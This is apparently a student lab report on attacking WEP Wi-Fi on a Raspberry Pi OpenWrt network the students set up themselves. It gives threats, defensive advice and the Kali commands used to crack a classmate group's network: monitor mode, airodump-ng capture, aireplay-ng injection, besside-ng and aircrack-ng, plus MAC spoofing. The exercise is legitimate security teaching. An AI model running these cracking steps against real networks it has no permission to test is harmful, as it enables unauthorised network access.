

Made by Semih

Embedded Security Assessment

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The possible threats of this network:

- The WEP (Wired Equivalent Privacy) network is insecure, because the protocol uses the same static key for each connected device, which is easy to hack;
- (Marvin and Ferhat) Their Raspberry Pi (hardware) is also insecure in open places, e.g. you can connect via SSH without any password. The Raspberry Pi has also a lot of open pins and other ports, which bring extra security issues. So make sure to localize the hardware in a secure environment.

Professional advice how to protect against discovered threats:

- **Use MAC filtering:** MAC filtering controls which devices are allowed to connect to the network based on their MAC address (like a whitelist);
- **Use a very long password**, which is 128 bits (max.). This makes it harder to crack the password, but it is still possible to crack the password;
- **The best** decision is **not to** use WEP anymore, because since 2003 the Wi-Fi Alliance announced that the WEP protocol is not secure enough anymore. Computer hardware has become so powerful that the WEP static key is easy to crack. It is recommended to use a newer protocol like **WPA2** or **WPA3**. Most modern devices use WPA2 or WPA3.

Crack the system using necessary tools of Kali Linux

- Start Wi-Fi adapter in **monitor mode**;
- Use **airodump-ng** to get the BSSID and channel of the target network;
- Use **besside-ng** configured to the target bssid and channel to crack and capture the security key;
- The key generated by **besside-ng** is displayed in HEX format;
- Optionally you can use **aircrack-ng** on the generated capture file of **besside-ng** to convert the key to ASCII (this also cracks the password and converts it to ASCII).

We have set-up our WEP network by using a custom build **OpenWRT** iso image for the Raspberry Pi 4B. **OpenWrt** comes with default passwords, which are very insecure. We changed the defaults and we tried our best to make it secure as possible. We first made a 2.4GHz network and our password was “semih”. We made the password a bit easy to crack, because otherwise it will take more time to crack it. See the screenshots below for proof:

The screenshot shows the OpenWRT LuCI interface for wireless configuration. A yellow warning box at the top states "No password set!" and provides a link to "Go to password configuration...". Below this, the "Wireless Overview" section shows the radio interface (radio0) with the following details: Channel: 1 (2.412 GHz) | Bitrate: 603.7 Mbit/s. The SSID is "VinSem" in Master mode with WEP Shared Auth (WEP-40) encryption. The BSSID is E6:5F:01:AE:7C:7B. Buttons for "Restart", "Scan", "Add", "Disable", "Edit", and "Remove" are visible.

The "Associated Stations" section contains a table with the following data:

Network	MAC address	Host	Signal / Noise	RX Rate / TX Rate	Actions
Master "VinSem" (phy0-ap0)	C4:03:A8:86:65:BE	?	--- dBm	1.0 Mbit/s, 20 MHz 2359.2 Mbit/s, 20 MHz	Disconnect
Master "VinSem" (phy0-ap0)	02:78:BC:F3:81:89	192.168.1.191	--- dBm	54.0 Mbit/s, 20 MHz 48.0 Mbit/s, 20 MHz	Disconnect
Master "VinSem" (phy0-ap0)	12:EF:5A:4E:2B:01	OnePlus-Nord-CE-3-Lite-5G.lan (192.168.1.111) fdc4:f376:e870:0:b8c9:207d:dcd1:2051)	--- dBm	54.0 Mbit/s, 20 MHz 54.0 Mbit/s, 20 MHz	Disconnect
Master "VinSem" (phy0-ap0)	26:05:96:AB:E7:B4	S22-Ultra-van-Semih.lan (192.168.1.205) fdc4:f376:e870:0:211:cc4e:6b1f:cb35)	--- dBm	1.0 Mbit/s, 20 MHz 1.0 Mbit/s, 20 MHz	Disconnect

At the bottom of the page, there are "Save & Apply" and "Save" buttons.

Wireless Network: Master "VinSem" (phy0-ap0)

General Setup | **Advanced Settings**

Status  Mode: Master | SSID: VinSem
- - dBm BSSID: E6:5F:01:AE:7C:78
Encryption: WEP Shared Auth (WEP-40)
Channel: 1 (2.412 GHz)
Tx-Power: 16 dBm
Signal: 0 dBm | Noise: 0 dBm
Bitrate: 36.3 Mbit/s | Country: NL

Wireless network is enabled

Mode	Band	Channel	Width
N	2.4 GHz	1 (2412 Mhz)	20 MHz

Allow legacy 802.11b rates

Maximum transmit power - Current power: 16 dBm

Interface Configuration

General Setup | **Wireless Security** | MAC-Filter | Advanced Settings

Encryption

Used Key Slot

Key #1	<input type="text" value="s:semih"/>	<input type="button" value="*"/>
Key #2	<input type="text"/>	<input type="button" value="*"/>
Key #3	<input type="text"/>	<input type="button" value="*"/>
Key #4	<input type="text"/>	<input type="button" value="*"/>

After we were done configuring the OpenWrt network, we were ready to hack the password. We executed the commands below to hack Ferhat & Marvin their WEP network:

Group = Marvin, Ferhat,
BSSID = E6:5F:01:AE:78:CD
ESSID = "FreeCannoli"
Channel = 9

(wlan0mon stands for the network card and mon stands for monitor mode)

History Terminal 1

```
1 airmon-ng start wlan0
2 airmon-ng check kill
3 airmon-ng stop
4 airmon-ng stop wlan0mon
5 macchanger --mac 12:34:56:78:91\
6 macchanger --mac 12:34:56:78:91
7 airmon-ng start wlan0
8 macchanger --mac 12:34:56:78:91 wlan0mon
9 macchanger --mac 12:34:56:78:91:12 wlan0mon
10 airmon-ng stop wlan0mon
11 macchanger --mac 12:34:56:78:91:21 wlan0
12 airmon-ng start wlan0
13 macchanger -s
14 macchanger --help
15 macchanger -s
16 macchanger -s wlan0mon
17 airodump-ng wlan0mon
18 ls
19 cd Documents
20 ls
21 airodump-ng --helo
22 airodump-ng --help
23 airodump-ng wlan0mon
25 airodump-ng -c 1 -w RouterPi --bssid E4:5F:01:AE:86:D6 wlan0mon
25 airodump-ng
26 airodump-ng wlan0mon
27 airodump-ng -c 1 -w FreeCannoli --bssid E6:5F:01:AE:78:CD
wlan0mon
28 airodump-ng wlan0mon
29 airodump-ng -c 9 -w FreeCannoli --bssid E6:5F:01:AE:78:CD
wlan0mon
```

History Terminal 2

```
1 aireplay-ng -1 0 -a E4:5F:01:AE:86:D6 -h e0:0a:f6:6c:fe:ab -e
RouterPi wlan0mon \n\n
2 backtrack
3 aireplay-ng -3 -b E4:5F:01:AE:86:D6 -h e0:0a:f6:6c:fe:ab wlan0mon
4 beside-ng -W -c 9 -b E6:5F:01:AE:78:CD wlan0mon
5 cat beside.log
6 beside-ng -c 9 -b E6:5F:01:AE:78:CD wlan0mon
7 ls
8 aircrack-ng wep.cap
```

History Terminal 3

```
1 macchanger -s
2 macchanger -s wlan0mon
```

We also made some screenshots during the process to proof that the commands did work (some of them are not in order):





